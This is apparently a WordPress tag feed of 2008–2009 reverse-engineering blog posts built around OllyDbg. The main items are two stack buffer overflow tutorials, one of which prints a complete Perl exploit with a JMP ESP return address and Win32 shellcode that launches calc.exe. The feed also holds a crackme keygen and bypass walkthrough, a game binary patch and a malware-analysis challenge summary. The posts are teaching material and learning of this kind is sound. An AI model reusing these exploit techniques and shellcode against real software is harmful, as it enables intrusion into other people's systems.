ollydbg « WordPress.com Tag Feed

The process of a successful stack based BOF-Part 2

diablohorn — Sun, 08 Mar 2009 00:30:58 +0000

The previous post explained how to setup the environment so that we would be able to actually debug the crashing process. In this post I will try to explain the process of analyzing it and building a working exploit. So the first step is to identify why it crashed in the first place.

Let’s fire up the exploit again and it should land us right into the olly screen with the INT 3 we hexedited in. We already know what to do with that(replace it with PUSH ESI), let’s continue with the stack and the instruction. First of all let’s document them a little bit(only the parts I found interesting are documented). The comments are on the following line due to space issues.

00401030    81EC 58020000   SUB ESP,258
; substract size needed for variables
00401036    A0 E0684000     MOV AL,BYTE PTR DS:[4068E0]
0040103B    56              PUSH ESI
0040103C    57              PUSH EDI
0040103D    884424 08       MOV BYTE PTR SS:[ESP+8],AL
00401041    B9 95000000     MOV ECX,95
00401046    33C0            XOR EAX,EAX
00401048    8D7C24 09       LEA EDI,DWORD PTR SS:[ESP+9]
0040104C    F3:AB           REP STOS DWORD PTR ES:[EDI]
; zero the stack
0040104E    66:AB           STOS WORD PTR ES:[EDI]
00401050    8D4C24 08       LEA ECX,DWORD PTR SS:[ESP+8]
00401054    51              PUSH ECX
00401055    68 4C604000     PUSH vuln.0040604C ; ASCII "%.8X"
0040105A    AA              STOS BYTE PTR ES:[EDI]
0040105B    E8 40000000     CALL vuln.004010A0
; inline printf
00401060    8BBC24 6C020000 MOV EDI,DWORD PTR SS:[ESP+26C]
; address of our payload
00401067    83C9 FF         OR ECX,FFFFFFFF
0040106A    33C0            XOR EAX,EAX
0040106C    83C4 08         ADD ESP,8
0040106F    F2:AE           REPNE SCAS BYTE PTR ES:[EDI]
00401071    F7D1            NOT ECX 
; ECX contains size of our payload
00401073    2BF9            SUB EDI,ECX
00401075    8D5424 08       LEA EDX,DWORD PTR SS:[ESP+8]
00401079    8BC1            MOV EAX,ECX
0040107B    8BF7            MOV ESI,EDI
0040107D    8BFA            MOV EDI,EDX
0040107F    C1E9 02         SHR ECX,2
00401082    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
;copy payload to stack address @ EDI
00401084    8BC8            MOV ECX,EAX
00401086    83E1 03         AND ECX,3
00401089    33C0            XOR EAX,EAX
0040108B    F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040108D    5F              POP EDI
0040108E    5E              POP ESI
0040108F    81C4 58020000   ADD ESP,258
; set ESP to the RET address
00401095    C3              RETN
; jump to the RET address

What can we see/learn from the above statements? That everything before the printf is irrelevant and almost everything after that is relevant. So what are the next steps? We got the slightly documented asm, we got a general idea of what the function does(also cause we got the source of it) and we know our goal…excute the shellcode.

We will start by taking a look at the stack just before the function starts to copy our payload onto it, cause it’s a huge amount of space on the stack(600bytes see the SUB esp,256) I’ll just show the stack towards the end of it.

w0000t seems like we are starting to understand this…like you can see inside the red squares…the RET address on the stack matches the instruction address AFTER the call to our vulnerable function. So indeed like it’s explained on the forum and in several papers…when you fill up the buffer to much you will overwrite any saves RET addresses on the stack. Hmmm so when we first got our error and the exploit didn’t work it must have ment that the NOPS(0×90) overwrote the RET address, let’s verify that. The next screenshot shows the stack when it’s beeing filled and just before overwriting the RET address.

So the red bracket clearly shows that the RET address is almost overwritten. The dark red(brown w/e moves you) shows that ESI still points to a large amount(exact amount can be seen in ECX which holds the length to be written) of data yet to be written. So we can now confirm that indeed there are to many NOPS. Take a look at how the stack looks like after all data has been written.

The first red dot indicates where the RET address was and the second red dot indicates the end of the data that has been written. So let’s fix it that the RET address get’s overwritten correctly(in my case diminish the nops and adjust the place where the return address is written into the buffer).

Like you can see on the above screenshot we now control the RET address correctly except that it’s horribly wrong and the application still crashes. So how do we fix this? By using a tool called findjmp || findjmp2 this tool is able to search for us in the provided dll for a correct address to use. If you want to know what dll to use, just look it up in olly. Press ALT+E which should open a window displaying the currently loaded modules. KD was working with ntdll.dll so I just followed his lead(hint:try to use modules which are always loaded by the process…so that you have a more reliable exploit).

findjmp.exe ntdll.dll esp

Scanning ntdll.dll for code useable with the esp register
0×7C914663      call esp
0×7C919DB0      push esp – ret
0×7C95311B      call esp

I used the first address, 0×7c914663. If you did it all correct your olly should now look like this:

Like you prolly already noticed…we are inside NTDLL.DLL now at the CALL ESP instruction that we looked up earlier using findjmp(don’t forget to use F7 in olly instead of F8 when it hits the function RET instruction). Now press F7(step into) again and it should land you right inside the mini shellcode.

If you execute the mini shellcode, you will notice that it still will not land you inside the main NOP sled, instead it will crash. Take a look at the following screenshot to understand why.

The red arrows show the current situation, the green arrows show how it should be. Like you can see on XP SP3 it’s not ECX which points to the main NOP sled but it’s EDX. Let’s do that press the spacebar in olly and change JMP ECX to JMP EDX, make sure to write down the changed opcode cause you need to adjust that one in the source. Now if you press F7 on the changed jmp it will land you right into the main NOP sled!! The opcodes inside the red circle math the opcodes of the shellcode in the source.

Voila there you go a fixed exploit. Like the original author says in his forum post the shellcode won’t prolly work(certainly didn’t in my case) because some hardcoded addresses need to be fixed. This is a minor issues since now we understand how to debug the process we want to exploit. You can run into some difficulties when replacing shellcodes because of restricted characters for example.

Hope this last part answered a lot of questions and made the process of writing a exploit a little bit more understandable. In the future I might write about the process of selecting the correct shellcode and how to avoid bad chars. For the moment beeing this is all folks.

The process of a successful stack based BOF-Part 1

diablohorn — Sat, 07 Mar 2009 01:28:39 +0000

n0limit his legend preceeded him but the real deal is way better then the legend! No, really this dude really helped me out in the process to making it work. When doing BOF bugs there is a HUGE difference between reading about it and putting it to practice. Another big thanks go out to KD he got me interested in this stuff again. I mean with all the web exploiting going on these days…you’d almost forget about the giant of all times. The infamous Buffer Overflow!

So what is this post all about? This post is about me getting involved with a BOF to help a friend out. I was like oh BOF right I’ve read tons of papers about those and I’ve practiced a bit so it shouldn’t be that hard, or should it? When putting all the read papers into practice it turned out to be a bit harder then I had initially antipicated. So here is the BOF I’m talking about:

http://www.go4expert.com/forums/showthread.php?t=11839#firstm

Before you carry on reading I recommend that you read a few of the following:

http://insecure.org/stf/smashstack.html
The Shellcoders handbook
http://www.securiteam.com/securityreviews/5OP0B006UQ.html

It’s all based on “vuln.c” and “exploit2.c”. I compiled both using visual studio 6 and to my big surprise they didn’t work on my XP SP3 . The truth be told they are not very difficult. So what happend when I run it?

This was also my first experience that theoretical knowledge doesn’t cut it in the field…I mean the pretty book layouts with debugged data was not beeing shown on my screen. So what now? My first reaction was like…I need to step through the process that’s crashed to be able to pin-point wth is going on. I then remembered one of korupt’s excellent posts:

http://korupt.co.uk/?p=115

There he explains a malware trick to debug child processes. Well that is exactly what we need in this case, since our exploit code just creates a new process(actually calls the application with arguments). So what we need is to break on the new application as soon as it gets called. Here comes the good old hexeditor…I prefer hexediting in a old school style editor above olly just for the fun of it. So I used the HT Editor. I could have put a INT 3(0xCC) on PUSH EBP , but that would have been a tedious job while debugging the process…cause it takes a lot of instructions to get to the vulnerable part of the program. Instead I choose the old cracker’s approach find the code by strings. In olly perform a “Search For -> All Referenced Text Strings” this should give you a strings list including the string “Supply an argument, dude”. It lands you in a function and if you look carefully in olly you see that’s beeing referenced from somewhere else.

In the bottom left you see from where it’s beeing referenced(don’t forget I moved up with the cursos until I hit the asm line “CMP DWORD PTR SS:[ESP+4],2″) if you don’t do that and stay on the one with the string reference you will not see from where it’s beeing referenced. You can now choose you go further back or just take a second look at the asm, you will see that it compares something with 2. So if you remember the C source, this line is actually checking if there are enough arguments passed to the program. So after this the call to the vulnerable function should happen, which it does cause you can clearly see the call in the disassembled output(hint: it’s the second call, just analyze the jmp and you’ll know why). So I followed that call and decided to put my breakpoint on the PUSH ESI. So fire up HTE go the correct offset and change the opcode to 0xcc(in the screenshot the corresponding opcode is marked red).

So after you have saved your changes , you can run the exploit again (and if you have configured olly as Just in Time Debugging) which should pop-up olly right at the vulnerable function. STOP before you just press F7/F8/F9 remember that you have to put back the original instruction, in this case the PUSH ESI. So press space bar and do it.

Now we can happily press F7/F8/F9 and observe the stack and the overflow string to determine exactly why the hell it doesn’t work.

For the moment beeing this is it, cause it’s almost 3 AM over here. Tomorrow I will blog about the second and last part, analyzing the stack and fixing the exploit so it works as it was intended. In my personal experience and opinion the process of achieving your goal is much more important then achieving it IF your goal is to understand IT. So I hope to make it easier to understand buffer overflows, by providing the opportunity to read about the process of actually building/fixing a buffer overflow.

win7beta

Pedro Laguna — Mon, 26 Jan 2009 14:10:59 +0000

Andaba yo trasteando un poco con el Ollydbg cuando me he encontrado con esta cadena metida en algun lugar de mi memoria:

Interesante cuanto menos, a saber que sirve ese camarero… ¿Martini con vodka, mezclado, no agitado?

Crashday: fix for "blendTimePassed >= -0.001"

thoughtyblog — Sat, 10 Jan 2009 18:00:34 +0000

Last week a friend and I wanted to play Crashday. We already did so a few years ago and it worked more or less fine – its a buggy game. This time I am using my current Arch Linux only setup while he has both Arch Linux and Windows installed. The first suprise was that the game was working better with wine that with Windows on my friend’s setup. Sometimes the game starts, sometimes it doesn’t. But with wine it always works.

Anyway, we both tried wrecking bots and it worked fine, but as we tried multiplayer, my game (his one ran fine) always crashed shortly after the game was started. To be exact after the countdown of the game.

The error message I got said:

!!! Fatal error !!!
Assertion failed!
blendTimePassed >= -0.001

(file ..\netplayers\host_remotecar.cpp, line 253)

Trace stack:

(It doesn’t say anything after Trace stack, propably because they didn’t compile the game with debugging symbols)

My friend told me that we should be able to apply a hack on their exe in order to make the game work. So i started up my vmware’d XP and Crashday.exe in ollydbg (which doesn’t really work with wine). The error we had can be found as string two times in the binary and I started to take a closer look on the first one. In the code, it compares some value with -0.001 and if it is below that, it jumps to an address where it shows the error dialog (and kills the game).

Ollydbg, fixing Crashday

The trick is to remove a FSUB which substracts the value that will be compared with another one. This way it will stay over -0.001 and the game continues.

I don’t know if this error happens only with wine, but if you follow this tutorial, you should be able to fix it.

Oh and please note that the addresses on the screenshot will propably differ from your one.

Have fun with that awesome game

The Malware Challenge

Eliot Phillips — Sun, 04 Jan 2009 01:00:35 +0000

Our own [Anthony Lineberry] has written up his experience participating in the 2008 Malware Challenge as part of his work for Flexilis. The contest involved taking a piece of provided malware, doing a thorough analysis of its behavior, and reporting the results. This wasn’t just to test the chops of the researchers, but also to demonstrate to network/system administrators how they could get into malware analysis themselves.

[Anthony] gives a good overview of how he created his entry (a more detailed PDF is here). First, he unpacked the malware using Ollydbg. Packers are used to obfuscate the actual malware code so that it’s harder for antivirus to pick it up. After taking a good look at the assembly, he executed the code. He used Wireshark to monitor the network traffic and determine what URL the malware was trying to reach. He changed the hostname to point at an IRC server he controlled. Eventually he would be able to issue botnet control commands directly to the malware. We look forward to seeing what next year’s contest will bring.

Cracking a simple and old cd check

diablohorn — Sat, 06 Dec 2008 02:30:12 +0000

Here we go again, another really old paper from the old kd-team.com archives. This was one of my first real fun encounters with Reverse Engineering. I know it’s not used anymore and it’s old and it’s probably bah…but still there are a lot of people who everyday start learning RE and what better way then with some nostalgy and a good laugh.

paper here

Reversing, grasping the big picture

diablohorn — Tue, 02 Dec 2008 00:58:30 +0000

So no reversing section but still a reversing post. My personal opinion is that reversing is part of a forensic research in some way or an other…you could state that reversing is like a very specific forensic investigator. Most people asociate reversing with copyright infringements and bypassing security measures to access forbidden goodies(game cheats for example). Reversing can also be used for legal purposes just to name a few:

perform a blackbox audit on an executable
perform a investigation on a piece of malware
help develop a quick patch until the official one is released
learn and understand compiler optimization

I love reversing, I also hate reversing. Yet I keep practicing it and trying to learn. Why ? Because it really is a beautifull way to learn new things and to relax(this depends on the person reversing of course).

So why do I love it? Because of all the purposes I already named and because it’s like a tiny( or big depending on the target you are reversing) puzzle. Why do I hate it then? Because I always got lost. For some reason I have always tried to understand every single line of assembly line I saw in the debugger/disassembler. Most of you can tell right away that, that is the WRONG approach. So the other day a collegue of mine succeeded in changing my thinking and I finally don’t want to understand every single line of assembly(I still do actually but I can finally wait till it actually makes sense to do so) that scrolls down my screen.

So I’d like to pass this information on because it really was a eye opener for me even if I had read it a thousand times in tutorials…I kept ignoring it until it actually worked for me.

So what made me open my eyes?

GIVE FUNCTIONS AND VARIABLES MEANINGFULL NAMES!

Now that’s easy isn’t it? I felt very very very dumb for not sticking with the above sentence in past reversing assignments. Also graphical representations of the program flow are a big help. An example of a graph (created with immunity debugger) is as follow:

Function Graph

Now that’s a LOT easier then scribbling down notes on a piece of paper(or your favorite digital notes) about where the loop ends or starts. Now let’s view the difference between…not naming functions and naming functions.

No re-naming done

Now with re-naming done

re-naming done

Now that’s a lot easier to read isn’t it? instead of having to memorize/write all the function hex values to know if it’s the same function beeing called or a new one. When the function call are close to each other it’s easy to see, just imagine the same function beeing called from like 100 different places.

The part I liked most about this approach was the “drilling down” effect. You just recognize big chunks of code in the target application which you are reversing…but you do NOT start analyzing the code yet. You just try to understand what a function MIGHT do and what it’s arguments COULD be.

The result of this, is that in a relative short time you have a pretty clear picture off the stuff that is going on…of course you won’t have everything correct the first time. This means that you can SKIP the useless chunks of assembly code on which I usually wasted a lot of time. I mean if you are looking for a algorithm which uses loops(in general, excluding recursive functions and compiler optimalizations like loop unrolling) to let’s say generate random names. It’s a lot easier to identify it because it’s beeing called a lot from other places in the target application and because the code actually contains a loop. In a graph the loop would be pretty obvious.

This does NOT mean you can now skip understanding the assembly and just focus on the big picture. If you eventually want to understand a algorithm or a specifc action you WILL have to study the assembly lines, the difference this time beeing that you (hopefully) spent your time on the correct assembly lines.

Man I gotta love sleeping…cause I’m heading for my bed now.

Buffer overflow basics part 1

nickfnord — Fri, 17 Oct 2008 19:01:30 +0000

I’ve become fairly distracted over the past few weeks and never ended up finishing the previous train of blogging. Partly due to the fact that I hit a wall when trying to make a keygen program for the program in the previous blog (by extracting the relevent assembly code) and partly due to the fact that I’ve found myself easily distracted by other things such as understanding buffer overflows of varying complexity and doing things setting up a VMware environment (still havn’t got it configured properly…), setting up a web server for web app testing etc – that one was fairly straightforward thankfully. – there’s so much to learn and to do, and most of it is far more interesting than learning about breaking protection.

But mostly I found this article which sort of took the wind out of me a little bit: http://www.ethicalhacker.net/content/view/152/2/ – absolutely brilliant – very clear and concise introduction to reversing. It was very encouraging to see that the author took a similar approach to what I did (or the other way around) it means I’m on the right track, but his article is written with so much more background knowledge that it makes mine look pathetic So I have sort of been reluctant to post anything new really.

However, taking heart in the fact that I never promised this blog to be anything except me fumbling my way through a torrent of information, I now present:

Buffer overflow basics:

Below is the code for overflowme.c: Sorry for the array intro there – it’s necessary for the moment to make the stack large enough for our shellcode – more detail at the end and in the next post.

#include <stdio.h> #include <string.h> void copyme(char *input[]) { char name[256];

strcpy(name,input);
}

int main(int argc, char **argv)
{
char intro[] = “Hello and welcome to buffer overflow basics, this character array really does have a purpose, it will be explained later, in reallity it is a bit of a hack but it will be used to demonstrate something later on”;
printf(“%s”,intro);
copyme(argv[1]);
return 0;
}

Buffer overflows occur when data moved into a variable on the stack continues past the bounds of the variable. For example, the function copyme in the above code declares a variable “name” as an array of char with 256 elements. When the program runs, it will allocate 256 bytes on the stack when entering the function. The strcpy function will then copy the input from the command line into the name variable.

Let’s have a quick peak at the program in ollydbg. You can apply command line arguments to your olly session by going to Debug->Arguments. Alternatively, you can get Perl (download and install activePerl if you don’t have it already) to do it for you, which I have found quite a bit easier seeing as we’ll be using Perl to write shellcode later on. the following Perl script will execute Olly (change the path to olly to suit yours of course) and attach it to the overflowme executable with and pass “hello” in as a command line parameter:

#!/usr/local/bin/perl $buffer = "Hello"; exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";

as you step through the program, you can see that the call to our copyme function is here:

0040132B |. E8 A4FFFFFF CALL overflow.004012D4

the whole function looks like this:

004012D4 /$ 55 PUSH EBP 004012D5 |. 89E5 MOV EBP,ESP 004012D7 |. 81EC 00010000 SUB ESP,100 004012DD |. 57 PUSH EDI 004012DE |. FF75 08 PUSH [ARG.1] 004012E1 |. 8DBD 00FFFFFF LEA EDI,[LOCAL.64] 004012E7 |. 57 PUSH EDI 004012E8 |. E8 482E0000 CALL overflow.00404135 004012ED |. 83C4 08 ADD ESP,8 004012F0 |. 5F POP EDI ;overflow.00401330 004012F1 |. C9 LEAVE 004012F2 \. C3 RETN

If you pay close attention to the stack at this point, you’ll notice that as the function is called, the instruction address immediatly after the CALL command is pushed onto the stack. (in our case 00401330). This is called the return address and it is what the program will use to return to the main part of the program after calling the function.

onto the function:

The first thing that most functions do is called the “prolog”. It pushes EBP onto the stack and moves ESP into EBP. Generally this means that all function parameters will be refered to as EBP+X and all local variables will be refered to as EBP-X. The function then allocates the necessary space required for local variables by moving the stack pointer the appropriate number of bytes (100 in hex = 256bytes, the size of our name variable).

The CALL line at 004012E8 is our strcpy function.

Stepping into this section, you can see that it prepares itself for the place where it copies the input string:

00404152 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

This (as we found out in the binary analysis part II blog ) uses the register ECX as a counter and increments EDI and ESI. at this point you can see that the ECX register is 6, which is our “Hello” string plus room a null character on the end. and we can now see that our string has been copied onto the stack:

0012FD88 6C6C6548 Hell 0012FD8C 8A43006F o.CŠ

finishing up, the function does everything in reverse – pop’s edi and then executes the LEAVE command which does the opposite of the prolog – in this case it could be expanded to be:

ADD ESP,100 MOV ESP,EBP POP EBP

At this point, you’ll notice that the address at the top of the stack is the return pointer that we mentioned preiously and is pointing to the 00401330 address immediately after the call to the function:

0012FE8C 00401330 0@. RETURN to overflow.00401330 from overflow.004012D4

We hit f8 again and the EIP now contains 00401330 and we’ve returned to the calling block.

But there is absolutely nothing stopping us passing in 257 or more characters and causing strcpy() to faithfully copy whatever we tell it to into the name array, dispite the fact the program only allocates 256 bytes.

Let’s try it:

#!/usr/local/bin/perl $buffer = "A"x300;
exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";

If we run this perl script and step through the program again – we’ll come to the REP MOV copy command again and will note that the ECX register is set to 12D (or 301 bytes) which is the length of our input plus one for a null byte at the end.

So we know that this will write past the allocated space of 256 bytes – it causes our buffer to look like this:

0012FD84 00144C48 HL. 0012FD88 41414141 AAAA 0012FD8C 41414141 AAAA 0012FD90 41414141 AAAA 0012FD94 41414141 AAAA 0012FD98 41414141 AAAA 0012FD9C 41414141 AAAA .. .. 0012FE88 41414141 AAAA 0012FE8C 41414141 AAAA 0012FE90 41414141 AAAA 0012FE94 41414141 AAAA etc.

and as we continue to step through – we get to the RETN command and find that our return address has been overwritten by “41414141″! we step again and we get an error:

and if we pass the error to the program (shift+f9) we get:

A segmentation fault! this means that the application tried to execute a bit of memory that it did not have permissions to access. (this is a feature of modern processors running in Protected mode http://en.wikipedia.org/wiki/Protected_mode).

What we realise here is that the processor was trying to execute instructions contained at the address 41414141, an address that the user passed to it!

What if, instead of sending through a bunch of A’s, we could send through our own code, then cause the program to start executing it by pointing the return address into our code! we could then cause the program to do whatever we wanted it to!

So the first thing to do is identify exactly which part of our input string overwites the return address. mostly we do this by a series of educated guesses. We know that the allocated buffer is 256 bytes long and we know that at the point the program subtracts the allocated space from the stack pointer, the stack looks like this:

0012FE88 /0012FF70 pÿ. 0012FE8C |00401330 0@. RETURN to overflow.00401330 from overflow.004012D4 0012FE90 |00144B55 UK. ASCII "Hello" 0012FE94 |7C910208 ‘| ntdll.7C910208

that is, it will always have the previous stack frame pointer pushed on top of the return address – so we can take a guess that to overwrite the return address exactly, we’ll need 256 A’s to fill the buffer, 4 more to fill the space where ebp was pushed and then we can overwrite the return address.

so here’s our attempted perl script:

#!/usr/local/bin/perl $buffer = "A"x256; #fills up the variable space $buffer .= "A"x4; #should overwrite the ebp address $buffer .= "B"x4; #should overwrite the return address with 42424242 $buffer .= "C"x100; #if return address = 43434343 then we've padded too much
exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";

and it turns out:

It’s exactly where we expected it to be! now if the allocated address space was not a multiple of 4 we would possibly have to compensate by between 1 and 4 bytes to get it exactly spot on, but in this case we don’t need to worry about it.

if we have a quick look at the process in Olly – we’ll see the stack looks something like this:

0012FE84 41414141 AAAA 0012FE88 41414141 AAAA 0012FE8C 42424242 BBBB ;this is our return address 0012FE90 43434343 CCCC 0012FE94 43434343 CCCC

So now we know we can overwrite the return address at will, and by doing so can cause the program to execute whatever code is at the address we point to.

So, we just need to point it to the address 0012FE90 right? that way, we can pass in some instructions instead of a whole bunch of C’s and the computer will execute it? Yes, but the problem we face here is that this address contains a null byte (the 00). when strcpy() encounters a null byte, it will stop copying! meaning that although we can change the address alright, we would not then be able to include code following.

in this particular program, there are two solutions to this:

We can place our code prior to the return address, (this is only possible if the allocated space is large enough for our code, but is not allways possible) or we can take note of the fact that as soon as the program flow goes to the return address, the ESP register will be pointing at the top of the stack, where our C’s start. so what we need to do is find a memory address which does not have any null bytes in it and that has the command JMP ESP or CALL ESP. We then replace the return address with this address and the program flow will start executing our user input.

This is where OllyUni comes in – OllyUni is an addon to Ollydbg that allows searching for certain commands in all the memory executable by the current process. just google for it and place the .dll file in your olly directory.

Once you’ve got OllyUni in, restart ollydbg and rightclick in the execution window->overflow return address->ASCII overflow returns->JMP/CALL ESP. depending on the speed of your computer this may take a while.

it should come back in time with a message saying it’s found some addresses:

awesome! View->Log

pick an address that does not have 00 in it. – for our purposes, we’re going for “7C86467B”

now we place that in our perl script:

#!/usr/local/bin/perl $buffer = "A"x256; #fills up the variable space $buffer .= "A"x4; #should overwrite the ebp address $buffer .= "\x7B\x46\x86\x7C"; #should overwrite the return address with 7C86467B $buffer .= "C"x100; #if return address = 43434343 then we've padded too much
exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";

Note that the address bytes are written “backwards” this is becuase they will be written in reverse order onto the stack.

now run it just for kicks…

our stack, as expected, looks like this:

0012FE84 41414141 AAAA 0012FE88 41414141 AAAA 0012FE8C 7C86467B {F†| kernel32.7C86467B 0012FE90 43434343 CCCC 0012FE94 43434343 CCCC

step through the RETN command…

and we find execution has landed at:

7C86467B - FFE4 JMP ESP

and then of course – our EIP register looks like this:

EIP 0012FE90

demonstrating that we’re about to execute our C’s.

now, we step again and we find our useless-fact-of-the-day: the instruction “43″ in hex means INC EBX, as we see that the program is trying to execute the instructions:

Execution window:

0012FE90 43 INC EBX 0012FE91 43 INC EBX 0012FE92 43 INC EBX 0012FE93 43 INC EBX 0012FE94 43 INC EBX 0012FE95 43 INC EBX 0012FE96 43 INC EBX 0012FE97 43 INC EBX

Stack window:

0012FE90 43434343 CCCC 0012FE94 43434343 CCCC

yay for us!

Now let’s do something a bit more useful than incrementing EBX a hundred times eh?

How about we open the calculator program calc.exe?

Head on over to metasploit.com, choose shellcode, click demonstration version, filter modules to os::win32, pick “Windows Execute Command” and type “calc.exe” into the CMD field and hit the “generate payload” button.

copy and paste the shellcode into your perl script like so, removing the C’s and adding $shellcode to the command line arguments:

#!/usr/local/bin/perl $buffer = "A"x256; #fills up the variable space $buffer .= "A"x4; #should overwrite the ebp address $buffer .= "\x7B\x46\x86\x7C"; #should overwrite the return address with 7C86467B $shellcode = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2". "\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4". "\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8". "\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c". "\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7". "\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5". "\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a". "\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9". "\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95". "\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9". "\x87\x61\xf1\x91";
exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer$shellcode\"";

Breaking down this bit of code is something for another day, suffice to say that it goes and opens the calculator. it is called shellcode because usually you would use it to open a shell. I think it was Aleph1 that coined the phrase in his phrack article “smashing the stack for fun and profit”.

now we’re almost ready – you’ll notice that when running through the above, it still fails miserably….

here is where I admit my lack of patience to find out why – I know it fails because the registers contain the wrong values but I don’t know why adding 7 NOP’s prior to the shellcode starting fixes it. anyway – I’ll come back to that I guess.

so our final shellcode is as follows:

#!/usr/local/bin/perl $buffer = "A"x256; #fills up the variable space $buffer .= "A"x4; #should overwrite the ebp address $buffer .= "\x7B\x46\x86\x7C"; #should overwrite the return address with 7C86467B $buffer .= "\x90"x7; $shellcode = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2". "\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4". "\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8". "\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c". "\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7". "\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5". "\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a". "\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9". "\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95". "\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9". "\x87\x61\xf1\x91";
exec "./overflowme.exe \"$buffer$shellcode\"";

you can remove the olly call as I have done above and execute!

we should be rewarded with the following:

and this

and a terminal message stating that we have abnormal program termination.

And we can now do a root dance in celebration.

Next blog we’ll look at what happens when we remove that hard-coded array, reducing the space on the stack, and how we can insert our shellcode prior to the return point.

There is also a follow up article to the one mentioned at the top of this post here http://www.ethicalhacker.net/content/view/165/2/ which also goes into basic buffer overflows.

until next time.

Binary Analysis Basics Part III

nickfnord — Thu, 02 Oct 2008 18:45:27 +0000

Hello again,

This is yet another session reversing simple c programs in order to see how they work under the hood.

For this session, we’ll need the same tools as before:

A C compiler for windows (I’m using LCC: http://www.cs.virginia.edu/~lcc-win32/)
Ollydbg (http://www.ollydbg.de/)
IDA demo or free (http://www.datarescue.be/downloaddemo.htm)
A good text editor, or you can use the IDE which comes with LCC.
Knowledge of basic programming structure.
Basic knowledge of assembly language.
some familiarity with OllyDbg
knowledge of Hex

This time, the hello world program will be a bit more complex. There are a number of things I would like to demonstrate here.

1. This program is essentially a crackme. It’s a very basic one, but there are three different “levels” I guess (for a want of a better word) that we will go through when demonstrating how to crack it. These three are:
Level1a: identify the password string for a particular login name. (Super easy)
Level1b: Bypass the authentication checking section by patching (easy (and cheating))
Level2: Create a keygen without understanding the algorithm (a bit harder)
Level3: Understand the algorithm just by looking at the source (more difficult but instructive)
2. This is still a simple trial program, but as you’ll see, things just got a whole lot more complicated. The point of reversing is not always to understand the entire thing and in most cases you can’t because of the size of the program. We just need to find what we’re looking for and understand a bit of how the program flows.
3. There are two constructs here that were deliberately left out of the previous two examples: Loops and Functions.
4. In the process of doing the above, we’ll learn a bit more of the functionality of OllyDbg and IDAPro.

The approach we will take is one of an analyst looking at how we can achieve the three levels mentioned above, and as we do, points 2,3 and 4 will be fully explored. Also note that bypassing a login and gleaning the plain text password as easily as we will do is very unlikely to be possible on a commercial product or the harder crackme’s that you’ll find arround the place. the purpose of this is to just learn what is possible.

Obviously we have the complete source code available to us for viewing, which we wouldn’t normally have when trying a crackme, but this is a learning excersise.

Now one thing I want to make clear here: I do not condone bypassing the protection of commercial software just for the sake of using it without paying for it, regardless of whether it is legal or not in whatever country you are in. The reason we are going through this “crackme” here is to demonstrate binary analysis, with the ultimate goal being complete understanding of the program.

So here’s the Code:

#include <stdio.h> #include <string.h> #include <ctype.h>


void keygen(char p[],char c[])

{

int i,j;

char key[] = "NICKFNORD";

//generate password C=p+k(mod26) and check

for(i=0,j=0;i<strlen(p);i++,j++)

{

if(j>=strlen(key))

{

j=0;

}

c[i] = ((toupper(p[i])-65+key[(j)]-65)%26+65);
}

}
int main(void)

{

char username[50];

char password[50];

char correctp[50];

int i,j;
for (i=0;i<50;i++)

{

correctp[i] = '';

password[i] = '';

//username[i] = '';

}
printf("Enter Username:\n");

scanf("%s",username);

printf("Enter Password:\n");

scanf("%s",password);

//find length of username/password, must be 8 characters

if (strlen(username) < 8 | strlen(password) < 

{

printf("invalid username/password combination");

return 1;

}
keygen(username,correctp);

if (strcmp(correctp,password)==0) { printf("Hello World!\nThank you for logging in %s",username); } else { printf("invalid username/password combination"); } return 0; }

This time, we find that the dissassembly is slightly different – our program is bigger and so there is more to scroll through to get to the bits that we’re interested in. Instead of just a walkthrough the code this time arround, we’re going to treat this like a crackme and pretend that we havn’t seen the source code above.

So the first thing one would normally do is to run the program to see what we have:

C:\stuff\C>compile hello4


C:\stuff\C>lcc -o hello4.obj hello4.c
C:\stuff\C>lcclnk -o hello4.exe hello4.obj

